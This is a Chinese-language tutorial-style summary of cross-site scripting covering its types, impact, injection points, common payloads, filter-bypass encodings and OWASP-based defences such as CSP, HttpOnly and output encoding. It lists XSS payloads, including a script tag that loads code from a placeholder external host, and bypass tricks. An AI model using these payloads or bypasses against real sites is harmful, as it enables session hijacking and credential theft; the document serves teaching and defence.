0x01 簡介
XSS(Cross-site script),跨站腳本,為了避免和CSS混淆,簡寫為XSS。
XSS兩個條件
- 使用者的輸入作為html進行顯示或直接在JS中進行處理
- 未對使用者的輸入進行校驗、編碼
XSS分類
- 反射XSS(Reflected XSS,非持久型)
引用Webgoat上圖 ,比較清晰。
惡意使用者發現xss注入點,構造包含惡意代碼的連結,通過一些手段使使用者點選連結并請求伺服器,伺服器傳回并在浏覽器執行惡意代碼(js)。攻擊者達到擷取相關資訊等目的。
反射XSS是一次性的,利用一些社工手段效果驚人,比如垃圾郵件、小廣告等。
- 存儲XSS(Stored XSS,持久型)
和反射XSS相同的是,請求都經過Server端,差別在于XSS payload 存儲在服務端(檔案、DB等)。當使用者通路注入XSS的頁面,腳本執行。
存儲XSS受害範圍更大,常見部落格、評論等功能點。
- Dom XSS(非持久型)
DOM(Document object model),JS可操作DOM動态更新文檔的内容、結構和樣式。
基于DOM的XSS是基于反射XSS的另一種形式。 這兩者都是通過發送一個帶有反映到浏覽器的輸入的連結來觸發的。
和反射XSS的差別在于,Payload不需要到達服務端,隻在用戶端處理。
DOM XSS相對比較少見,工作中幾乎沒遇到過。查了下烏雲上漏洞,還是有一些,列舉幾個供擴充閱讀。
中國農業銀行主站DOM-XSS
優酷分享iframe播放器頁面存在dom xss漏洞
國泰證券某站SQL注入&DOM XSS(洩露客戶敏感資訊)
0x02 漏洞危害
- 盜取使用者Cookie
通過盜取使用者cookie實作會話劫持,httponly無效;
- 構造Get/Post請求執行惡意操作
js可送出請求,是以通過xss漏洞構造get/post請求完成一些操作,比如修改資料、删除資料、擷取資訊等。
- XSS釣魚
僞造登入表單,擷取使用者憑證資訊
- 内網入侵
擴充閱讀:https://www.freebuf.com/articles/web/103097.html
- XSS蠕蟲
XSS蠕蟲是一種借助Ajax技術實作對Web應用程式中存在的XSS漏洞進行自動化利用傳播的蠕蟲病毒,它可以将一些使用者資料資訊發送給Web應用程式然後再将自身代碼傳遞進入Web應用程式,等到被感染使用者通路Web應用程式時,蠕蟲自身将又開始進行資料發送感染。
百度空間XSS蠕蟲
XSS因為執行JS腳本,危害較大,但是也看具體的漏洞環境,有一些較好的攻擊平台可利用(如 BeEF)。
0x03 漏洞檢測
常見注入點
- 搜尋框,回顯key
- 輸入框,回顯使用者資訊
- 錯誤傳回,回顯使用者輸入
- 隐藏html元素,回顯使用者輸入
- 評論、部落格等
- 其他使用者輸入可回顯的點
注意一點,這裡說的輸入不單單至使用者通過輸入框填寫的資料,也包含下拉框、選擇框等互動的地方,任何從用戶端發往伺服器的資料如果在伺服器回顯,都有可能造成xss問題。
常用Payload
列舉典型的幾個插入點,詳細看後文附件。
- 在script注入
<script>alert(xss)</script>
<script src=http://xxx.com/xss.js></script>
- html标簽
直接插入script,其他常用的如img、svg,常用js事件函數onload、onclick、onmouseover等
<img src=javascript:alert('xss') />
<img src=1 onload=javascript:alert('xss') />
<img src=1 onload=alert(/123/)/>
<svg src=1 onload=javascript:alert('xss') />
- html标簽屬性
單引号、雙引号閉合标簽屬性,插入js時間函數
’ onload=javascript:alert('xss')
- JS中
分号阻斷,直接寫js
;alert('xss')
- CSS屬性
<table background="javascript:alert('xss')"> //background
<div style="background-image: url(javascript:alert('xss'))"> //background image
<div style="width: expression_r(alert('xss')"> //expression
常用工具
商用Web掃描器,如Webinspect、AppScan、AWVS,代碼掃描工具,如Fortify、Checkmarx、Coverity都可以覆寫XSS掃描。
商業工具覆寫漏洞廣,黑盒工具使用時注意提供完整的流量(請求位址、參數)避免漏掃。
工具掃描,逃避不了的一個問題,誤報。
除了Web掃描器,一些XSS平台、XSS fuzzing工具可以利用,詳細參考文末連結。
關于繞過
XSS本身就可以寫一本書,一方面因為玩的就是Html、JS、浏覽器,導緻千變萬化甚至千奇百怪的Payload,另一方面就是繞過技巧了。
為什麼這麼多繞過技巧?
說一個遇到的很好玩的故事。一般報告中,XSS通過彈窗做poc,給出修複建議。有一次就遇到一個非常可愛的開發,黑名單過濾了alert關鍵字。What?這不是跟沒做一樣麼,何況實際利用,一般也不alert彈窗了吧(不排除會彈窗通過社工重定向進行其他利用)。多麼可愛的開發。
不閑扯了,列舉常見的一些繞過技巧,重在記錄思路。詳細的繞過可以 RSnake's: "XSS Cheat Sheet",Freebuf也有牛人做了翻譯的中文版本,參考文末清單。
- 大小寫、大小寫混合繞過
<sCrIPt>alert(xss)</SCRIPT>
<svg src=1 onload=jAVAsCRipt:alert('xss') />
- 空格、換行繞過
<svg src=1 onload=java Script:alert('xss') />
<svg src=1 onload=java
Script:alert('xss') />
- 注釋符繞過
<IMG src=1 onload="xss:expr/*XSS*/ession(alert('XSS'))"> // 隔斷,繞過關鍵字
- 雙尖括号繞過
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
- 無分号、引号繞過
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javas<!-- -->cript:alert('XSS')">
- URL編碼
http get參數,對特殊字元過濾,使用URL編碼繞過,也可以直接URL全編碼
<IMG SRC=javascript:alert('XSS')>
%3CIMG%20SRC%3Djavascript%3Aalert%28%27XSS%27%29%3E
- Html實體編碼
html實體編碼本身存在的意義是防止與HTML本身語義标記的沖突
html中正常情況隻識别:html10進制,html16進制。
回顯輸出在html中,過濾了script < > / \ http: 等特殊字元
<img src="x" onerror="alert(1)">
<img src="x" onerror="alert(1)">
- JS編碼
JS提供了四種字元編碼的政策:
三個八進制數字,如果數字不夠,在前面補零,如a的編碼為\141
兩個十六進制數字,如果數字不夠,在前面補零,如a的編碼為\x61
四個十六進制數字,如果數字不夠,在前面補零,如a的編碼為\u0061
對于一些控制字元,使用特殊的C類型的轉義風格,如\n和\r
當輸入内容回顯在js中,過濾了特殊字元<> ' " & %等
關于編碼繞過,可是試試chrome擴充xss encode和JsFuck,非常神器。
- base64編碼
<a href="input" target="_blank" rel="external nofollow" >
<iframe src="input"> //過濾了 <> ' " javascript
<img src=x onerror=alert(1)> //payload
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==" target="_blank" rel="external nofollow" >test</a> //base64 encode
當點選連結時,以data協定解析,頁面以html/text方式解析,編碼為base64,payload還原。
代碼相關
涉及html輸出、js操作html輸出、js跳轉的函數,需格外注意。
如下為個人記錄的一些關鍵字,先記錄,後續慢慢在補充。
API:innerHTML, $(xx).html()
PHP key: echo print
Java key:System.out.print println
JS: window.location.href location.pathname window.print document.write
0x04 防禦
http-only
Cookie在消息頭中被設定為HttpOnly,阻止Javascript直接通路cookies,應對XSS盜取cookie進行會話劫持的風險。
嚴格來說,并不是直接的防護,比較xss還是存在的。不過展現一種縱深防禦的概念。
CSP
CSP(Content Security Policy),内容安全政策是一個額外的安全層,用于檢測并削弱某些特定類型的攻擊,包括跨站腳本 (XSS) 和資料注入攻擊等。
實際上的防護原理,和httponly類似,通過制定政策限制外部資源的加載,增加利用難度/成本。
詳細可以參考文末連結。
輸入校驗
- 不信任外部輸入,對外部輸入進行校驗,如資料類型、長度、文法、業務規則等
- 優先白名單方式,黑名單容易存在校驗不全導緻的繞過
- 遵循開放安全原則,優先考慮業界成熟的過濾庫,如Owasp Java Encoder API
偷個懶,直接貼OWASP Prevention Rules
Data Type | Context | Code Sample | Defense |
---|---|---|---|
String | HTML Body | | HTML Entity Encoding (rule #1). |
String | Safe HTML Attributes | | Aggressive HTML Entity Encoding (rule #2), Only place untrusted data into a whitelist of safe attributes (listed below), Strictly validate unsafe attributes such as background, id and name. |
String | GET Parameter | | URL Encoding (rule #5). |
String | Untrusted URL in a SRC or HREF attribute | | Canonicalize input, URL Validation, Safe URL verification, Whitelist http and https URL's only (Avoid the JavaScript Protocol to Open a new Window), Attribute encoder. |
String | CSS Value | | Strict structural validation (rule #4), CSS Hex encoding, Good design of CSS Features. |
String | Javascript Variable | | Ensure JavaScript variables are quoted, JavaScript Hex Encoding, JavaScript Unicode Encoding, Avoid backslash encoding ( or or ). |
HTML | HTML Body | | HTML Validation (JSoup, AntiSamy, HTML Sanitizer...). |
String | DOM XSS | | DOM based XSS Prevention Cheat Sheet |
輸出編碼
- 輸出至前端,進行相應的編碼;輸出Html,使用Html實體編碼,輸出至JS,使用JS編碼。
Encoding Type | Encoding Mechanism |
---|---|
HTML Entity Encoding | Convert to , Convert to , Convert to , Convert to , Convert to , Convert to |
HTML Attribute Encoding | Except for alphanumeric characters, escape all characters with the HTML Entity format, including spaces. (HH = Hex Value) |
URL Encoding | Standard percent encoding, see here. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL. |
JavaScript Encoding | Except for alphanumeric characters, escape all characters with the unicode escaping format (X = Integer). |
CSS Hex Encoding | CSS escaping supports and . Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value. |
富文本編輯器
本身支援Html、JS,肯定可以xss。
防禦的話,思路本身沒什麼差別。
- Jsoup進行過濾
- 白名單
- 特殊字元
注:個人總結,轉載請注明。
參考:
https://www.jianshu.com/p/f1de775bc43e
http://www.ruanyifeng.com/blog/2016/09/csp.html
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md
https://github.com/OWASP/owasp-java-encoder/
https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project
https://www.freebuf.com/author/Black-Hole
https://www.freebuf.com/articles/web/40520.html
https://blog.csdn.net/qq_34444097/article/details/83188208
https://www.cnblogs.com/qyun/p/6623754.html
https://blog.csdn.net/itest_2016/article/details/77650356
https://www.freebuf.com/articles/web/153055.html
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
https://blog.csdn.net/changhuzhao/article/details/72472025
https://www.jianshu.com/p/32abc12a175a
格式化資料xss繞過
https://brutelogic.com.br/blog/xss-limited-input-formats/